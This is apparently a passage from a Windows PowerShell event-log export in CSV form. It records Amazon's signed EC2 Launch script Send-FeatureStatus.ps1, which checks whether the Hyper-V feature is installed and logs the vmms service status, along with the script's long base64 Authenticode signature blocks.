Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq # hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ # 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd # 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk # S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH # eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5 # vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR # LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW # /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O # gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy # +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M # QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx # ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI # AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB # BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B # CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN # AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x # aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR # UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI # zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO # 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR # bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc # XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq # j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju # lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC # oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw # ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi # E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx # ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI # hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ # MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB # MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z # MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG # SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN # lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe # AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs # Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD # gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8 # H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4 # MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK # BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB # FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+ # Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG # A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz # c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh # Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho # dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl # cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp # bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR # dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo # 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt # kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ # 2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK # DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx # MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ # BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k # aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD # QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT # MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j # b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp # bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p # uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I # 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6 # Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU # xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY # D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd # rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX # NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw # BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI # KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j # b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp # Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6 # Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww # OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ # RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH # AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G # CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC # /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C # JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv # KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF # IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh # fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw # cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ # d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk # IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME # AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF # MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR # vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn # KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD # B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3 # PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm # lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9 # gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG # 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk # d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK # HFQ/8DlNhx2lScs= # SIG # End signature block a20e07de-9346-48da-8f42-f484ae05462fC:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1",,4104,120611,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1",,,"'5652'",,,,,,120611,,,,"a20e07de-9346-48da-8f42-f484ae05462f","# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Amazon Software License (the ""License""). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/asl/ # # or in the ""license"" file accompanying this file. This file is distributed # on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. <#----------------------------------------------------------------------------------------------------------- Send-FeatureStatus sends feature installation and corresponding service status to the console. -------------------------------------------------------------------------------------------------------------#> function Send-FeatureStatus { Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant try { $windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" }) $featureName = """" foreach ($feature in $windowsFeatures) { $featureName = $feature.FeatureName $featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue"" if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED) { Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole $srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status if ($srvStatus) { Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole } else { Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole } } } } catch { Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole } } # SIG # Begin signature block # MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw # KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P # AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk # BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC # hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v # dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED # MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql # +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF # UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h # mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw # YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld # AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw # 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP # LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE # QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn # KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji # WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq # yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G # CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz # MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr # BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV # BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ # bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl # cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ # u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W # JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU # faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J # A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s # 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF # i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0 # IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA # DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB # AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV # HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI # A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud # JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz # LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5 # NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx # Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6 # Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB # BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0 # cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp # Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq # hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ # 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd # 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk # S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH # eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5 # vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR # LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW # /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O # gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy # +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M # QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx # ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI # AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB # BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B # CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN # AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x # aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR # UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI # zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO # 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR # bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc # XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq # j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju # lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC # oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw # ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi # E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx # ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI # hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ # MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB # MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z # MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG # SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN # lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe # AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs # Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD # gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8 # H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4 # MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK # BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB # FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+ # Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG # A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz # c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh # Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho # dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl # cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp # bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR # dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo # 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt # kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ # 